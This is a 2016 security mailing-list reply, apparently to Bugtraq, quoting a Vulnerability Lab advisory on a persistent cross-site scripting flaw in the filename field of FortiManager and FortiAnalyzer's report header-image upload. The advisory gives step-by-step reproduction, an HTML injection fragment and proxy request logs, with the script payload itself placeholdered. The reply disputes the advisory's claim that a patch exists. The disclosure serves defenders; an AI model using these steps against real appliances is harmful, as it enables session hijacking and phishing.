Date: Wed, 6 Apr 2016 11:00:54 +0000
From: Jacques GRILLOT <jacques.grillot@...ooma.com>
To: Vulnerability Lab <research@...nerability-lab.com>,
  "bugtraq@...urityfocus.com" <bugtraq@...urityfocus.com>,
  "bugs@...uritytracker.com" <bugs@...uritytracker.com>
Subject: RE: FortiManager & FortiAnalyzer 5.x (Appliance Application) -
 (filename) Persistent Web Vulnerability

Hi All,

Please would you mind telling us exactly which products and version are concerned by this issue ?
We contact Fortinet and it seems they are not informed about it and there is no patch available at this time.

Regards,

Jacques


Jacques GRILLOT
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-----Message d'origine-----
De : Vulnerability Lab [mailto:research@...nerability-lab.com] 
Envoyé : lundi 4 avril 2016 13:41
À : bugtraq@...urityfocus.com; bugs@...uritytracker.com
Objet : FortiManager & FortiAnalyzer 5.x (Appliance Application) - (filename) Persistent Web Vulnerability

Document Title:
===============
FortiManager & FortiAnalyzer 5.x (Appliance Application) - (filename) Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1687

Fortinet PSIRT ID: 1624561


Release Date:
=============
2016-04-04


Vulnerability Laboratory ID (VL-ID):
====================================
1687


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
FortiManager appliances allow you to centrally manage any number of Fortinet devices, from several to thousands, including FortiGate®, FortiWiFi™, FortiCarrier™, FortiMail™ and FortiAnalyzer™ appliances and virtual appliances, as well as FortiClient™ endpoint security agents. You can further simplify control and management of large deployments by grouping devices and agents into administrative domains (ADOMs).

The FortiManager family of management appliances provides centralized policy-based provisioning, device configuration, and update management for FortiGate, FortiWiFi, and FortiMail appliances, and FortiClient end-point security agents, plus end-to-end network monitoring and device control.
FortiManager delivers a lower TCO for Fortinet implementations by minimizing both initial deployment costs and ongoing operating expenses.
Control
administrative access and simplify policy deployment using role-based administration to define user privileges for specific management domains and functions, and aggregating collections of Fortinet appliances and agents into independent management domains. In addition, by locally hosting security content updates for managed devices and agents, FortiManager appliances minimize Web filtering rating request response time and maximize network protection.

(Copy of the Vendor Homepage: 
http://www.avfirewalls.com/FortiManager-Series.asp )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a persistent web validation vulnerability in the official Fotinet FortiManager and FortiAnalyzer appliance product series.


Vulnerability Disclosure Timeline:
==================================
2016-01-25: Researcher Notification & Coordination (Marco Onorati - Evolution Security GmbH)
2016-01-26: Vendor Notification (FortiGuard Security Team)
2016-02-10: Vendor Response/Feedback (FortiGuard Security Team)
2016-03-24: Vendor Fix/Patch (Fortinet Developer Team)
2016-04-04: Security Bulletin (FortiGuard Security Team) [Acknowledgements]
2016-04-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Fortinet
Product: FortiManager - Appliance (Web-Application) 200D,  300D, 1000D, 3900E, 4000E, Virtual Appliances Versio

Fortinet
Product: FortiManager - Appliance (Web-Application) Legacy - 100, 100C, 400A, 400B, 400C, 1000C, 3000C & 4000

Fortinet
Product: FortiAnalyzer - Appliance (Web-Application) 200D, 300D, 1000D, 2000D, 3000E, 3500E, 3900E, VM Base & VM


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability and filter bypass issue has been discovered in the official Fotinet FortiManager and FortiAnalyzer appliance product series.
The application-side web vulnerability allows remote attackers to inject own malicious script codes to the application-side of the affected modules context.

The vulnerability is located in the `filename` value of the ` Layout Header [Header Image]` module. Remote attackers with low privileged web-application user accounts are able to inject own malicious script codes to the application-side of the affected ` Advanced Settings - Advanced Settings - Layout Header` module. The request method to inject is POST and the issue is located on the application-side of the fortimanager/fortianalyzer appliance web-application.

The security risk of the client-side cross site scripting web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.7.
Exploitation of the application-side web vulnerability requires no privileged web-application user account and low or medium user interaction. Successful exploitation of the vulnerability results in persistent phishing, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected web module context.


Request Method(s):
                    [+] POST

Vulnerable Module(s):
                    [+] /report/graphic/upload/

Vulnerable Parameter(s):
                    [+] filename

Affected Serie(s): FortiManager
                    [+] FortiManager 200D
                    [+] FortiManager 300D
                    [+] FortiManager 1000D
                    [+] FortiManager 3900E
                    [+] FortiManager-4000E
                    [+] FortiManager Virtual Appliances
                    [+] FortiMoM-VM

FortiManager Legacy Models
                    [+] FortiManager 100
                    [+] FortiManager 100C
                    [+] FortiManager 400A
                    [+] FortiManager 400B
                    [+] FortiManager 400C
                    [+] FortiManager 1000C
                    [+] FortiManager 3000C
                    [+] FortiManager 4000D

Affected Serie(s):  FortiAnalyzer
                    [+] FortiAnalyzer 200D
                    [+] FortiAnalyzer 300D
                    [+] FortiAnalyzer 1000D
                    [+] FortiAnalyzer 2000B
                    [+] FortiAnalyzer 3000E
                    [+] FortiAnalyzer 3500E
                    [+] FortiAnalyzer 3900E
                    [+] FortiAnalyzer VM Base
                    [+] FortiAnalyzer VM GB1
                    [+] FortiAnalyzer VM GB5
                    [+] FortiAnalyzer VM GB25
                    [+] FortiAnalyzer VM GB100
                    [+] FortiAnalyzer VM GB500
                    [+] FortiAnalyzer VM GB2000


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by local low privileged web-application user accounts and low user interaction (click).
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login to the Fortinet FortiManager appliance web-application 2. Open the following module Reports > Reports > Client Reputation > Advanced Settings > Advanced Settings > Layout Header 3. Scroll to the layout header section 4. Start a session tamper to intercept the http protocol communication 5. Choose a random file and perform the upload 6. Change with the live session tamper the filename value of the logo to a script code payload 7. Wait since the upload has been performed and click next to the upload input field 8. The script code executes were the filename is normally visible next to the upload via submit 9. Successful reproduce of the vulnerability!

Note: There could be other sections that are affected after the inject were the logo image is displayed finally!


PoC: (Source) Reports > Reports > Client Reputation > Advanced Settings
> Advanced Settings > Layout Header [Header Image] (filename)
PoC: Reports > Reports > Client Reputation > Advanced Settings > Advanced Settings > Layout Header [Header Image] (filename)  <td id="yui_3_5_0_1_1453826860703_2595"><input
value="{user_img_path}/"><"<img src="x">%20%20>"<[PERSISTENT INJECTED SCRIPT CODE VIA FILENAME!]>2.png" name="header-image"
type="hidden"><button id="yui_3_5_0_1_1453826860703_2594"
type="button">Choose...</button><span>"><"<img src="x">%20%20>"<iframe src="a">%20<iframe>2.png</iframe></span></td>
        </tr>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://localhost:8080/p/report/graphic/upload/ Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)
Gecko/20100101 Firefox/43.0]
     
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[https://localhost:8080/p/report/graphic/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------2152057857037
Content-Disposition: form-data; name="csrfmiddlewaretoken"
0658038790fd19a3e4c13d8e92b7dccc
-----------------------------2152057857037
Content-Disposition: form-data; name="graphic_upload"; filename=""><[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]>2.png"
Content-Type: image/png
-
Status: 200[OK]
GET https://localhost:8080/p/jsi18n/proj.report/ Load Flags[LOAD_NORMAL] Größe des Inhalts[-1] Mime Type[text/javascript]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)
Gecko/20100101 Firefox/43.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[https://localhost:8080/p/report/graphic/upload/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 16:42:00 GMT]
      Server[Apache]
      X-Frame-Options[SAMEORIGIN]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      x-ua-compatible[IE=Edge]
      Keep-Alive[timeout=30, max=169]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/javascript]
-
Status: 200[OK]
GET https://localhost:8080/p/report/graphic/list/ Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[-1] Mime Type[application/json]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)
Gecko/20100101 Firefox/43.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      X-Requested-With[XMLHttpRequest]
      Referer[https://localhost:8080/p/report/graphic/upload/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 16:42:02 GMT]
      Server[Apache]
      Expires[-1]
      Pragma[no-cache]
      Cache-Control[no-store,no-cache,must-revalidate]
      X-Frame-Options[SAMEORIGIN]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      x-ua-compatible[IE=Edge]
      Keep-Alive[timeout=30, max=167]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[application/json; charset=UTF-8]
-
Status: 200[OK]
GET https://localhost:8080/faz_upload/%22"><[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]>%3E2.png Load Flags[LOAD_NORMAL] Größe des Inhalts[479] Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)
Gecko/20100101 Firefox/43.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[https://localhost:8080/p/report/graphic/upload/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 16:42:03 GMT]
      Server[Apache]
      X-Frame-Options[SAMEORIGIN]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      x-ua-compatible[IE=Edge]
      Content-Length[479]
      Keep-Alive[timeout=30, max=200]
      Connection[Keep-Alive]
      Content-Type[text/html]


Reference(s):
https://www.fortianalyzer.com/
https://www.fortianalyzer.com/p/
https://www.fortianalyzer.com/p/report/
https://www.fortianalyzer.com/p/jsi18n/
https://www.fortianalyzer.com/p/report/graphic/
https://www.fortianalyzer.com/p/jsi18n/proj.report/
https://www.fortianalyzer.com/p/report/graphic/list/
https://www.fortianalyzer.com/p/report/graphic/upload/
https://www.fortianalyzer.com/faz_upload/%22"><[x]>%3E2.png


Solution - Fix & Patch:
=======================
2016-03-24: Vendor Fix/Patch (Fortinet Developer Team)

The fix is available in the customer area. Customers can install it manually or my the automated mechanism of the appliance application.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the filename value of the logo upload function is estimated as medium. (CVSS 3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Marco Onorati
(research@...nerability-lab.com) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages.
Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

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